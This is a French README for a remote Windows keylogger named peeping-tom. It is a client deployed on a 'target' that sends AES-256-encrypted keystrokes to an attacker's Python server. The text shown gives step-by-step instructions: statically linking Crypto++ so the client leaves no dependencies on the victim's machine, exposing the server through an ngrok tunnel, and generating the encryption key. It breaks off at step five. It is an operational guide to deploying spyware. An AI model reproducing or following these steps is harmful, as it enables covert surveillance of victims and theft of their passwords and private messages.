
Keylogger Windows distant avec exfiltration de frappes chiffrée AES-256 via intervalles de rappel configurables et un serveur Python compagnon pour l'analyse des logs.
Bienvenue dans le dépôt du projet peeping-tom ! Peeping-tom est un programme en deux parties avec un peeping-client déployé sur une cible et un toms-server écoutant les frappes sur la machine de l'attaquant. Sa mise en œuvre nécessite une configuration conséquente, alors assurez-vous de lire attentivement et de suivre les instructions ci-dessous.
Bien sûr, si vous avez des suggestions, des retours, des problèmes, etc... n'hésitez pas à nous contacter ou à créer une issue ou une pull request.
Étape 1 : Ouvrir le fichier solution peeping-tom dans Visual Studio
Tout d'abord, téléchargez et installez l'édition Community de Visual Studio sur votre machine depuis le lien ci-dessus. Lors de l'installation, assurez-vous de sélectionner les charges de travail « Développement Python » et « Développement Desktop en C++ » car elles sont nécessaires pour charger et compiler correctement le projet.

Une fois l'installation terminée, lancez Visual Studio et sélectionnez l'option « Cloner un référentiel ». Entrez l'URL git du projet et cliquez sur Cloner.

Si tout s'est chargé correctement, vous devriez voir les deux projets dans la fenêtre de l'Explorateur de solutions à droite, comme illustré ci-dessous.

Étape 2 : Configurer les options du compilateur/éditeur de liens dans Visual Studio
Maintenant que l'outil est chargé dans Visual Studio, nous devons modifier quelques options et compiler une bibliothèque avant de construire. Cela supprimera toute dépendance vis-à-vis des programmes/bibliothèques lors de l'exécution sur la cible.
La première tâche consiste à compiler statiquement la bibliothèque Crypto++ utilisée pour le chiffrement dans l'enregistreur de frappe. Commencez ce processus en téléchargeant la version 8.6.0 de la bibliothèque ici.
Une fois le fichier ZIP téléchargé, extrayez-le dans un dossier, naviguez dedans et lancez cryptest.sln avec Visual Studio. Vous devriez maintenant avoir deux fenêtres Visual Studio, l'une avec la solution peeping-tom, et l'autre avec la solution cryptest ouverte.

Une fois le fichier cryptest.sln chargé dans Visual Studio, cliquez sur « Débogage » dans la barre d'outils supérieure et réglez-le sur « Release ». Changez également l'architecture pour x64 comme indiqué ci-dessous.

Maintenant, faites un clic droit sur le projet cryptlib, et sélectionnez Propriétés. Modifiez l'option mise en évidence comme indiqué.

Une fois cela fait, construisez la solution cryptest.

La construction prendra une bonne minute ou deux, mais une fois terminée, un fichier nommé cryptlib.lib devrait apparaître dans votre version du chemin ci-dessous. Trouvez le fichier et copiez son chemin pour l'étape suivante.
C:\Users\Abdullah Beta\Downloads\cryptopp860\x64\Output\Release\cryptlib.lib
Une fois que vous avez localisé le fichier et copié son chemin, revenez à la fenêtre Visual Studio qui contient la solution peeping-tom. Faites un clic droit sur le projet peeping-client, et sélectionnez Propriétés. Naviguez jusqu'à l'option montrée dans la capture d'écran ci-dessous, et collez le chemin de cryptlib.lib.

Assurez-vous que le projet peeping-client est également réglé sur « Release » et que l'architecture est réglée sur x64. NE construisez PAS encore la solution peeping-tom car il reste des modifications à apporter dans le code source.
Étape 3 : Ouvrir un tunnel public vers localhost:80
Passons au tunnel. Une fois que vous avez créé un compte Ngrok, téléchargez Ngrok pour votre système d'exploitation depuis le lien ci-dessus et extrayez l'exécutable du fichier ZIP. Avant d'ouvrir un tunnel, vous devrez récupérer un jeton d'authentification personnel depuis votre compte comme indiqué ci-dessous.

Une fois que vous avez le jeton, ajoutez-le à la configuration locale de Ngrok avec la commande suivante :
ngrok config add-authtoken 7cxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxmgZ5
Enfin, ouvrez le tunnel en utilisant la commande suivante :
ngrok http 80 --scheme=http
Si tout s'est bien passé, vous devriez voir quelque chose de similaire à l'image ci-dessous. Super ! Vous êtes maintenant prêt pour cette étape. Allez récupérer l'adresse « Forwarding » mise en évidence et conservez-la précieusement pour plus tard.

Étape 4 : Générer une nouvelle clé AES-256
À ce stade, vous pouvez télécharger Python sur votre machine. Une fois installé, ouvrez une fenêtre CMD dans le répertoire du projet toms-server.
Installez les dépendances requises avec :
pip3 install -r requirements.txt
Une fois tout prêt, exécutez :
python3 toms-server.py -m keygen
Cela devrait produire une clé AES-256 de 64 caractères dont vous aurez également besoin plus tard, alors assurez-vous de la sauvegarder avec l'adresse de transfert Ngrok.
Étape 5 : Définir les champs requis dans le source de peeping-client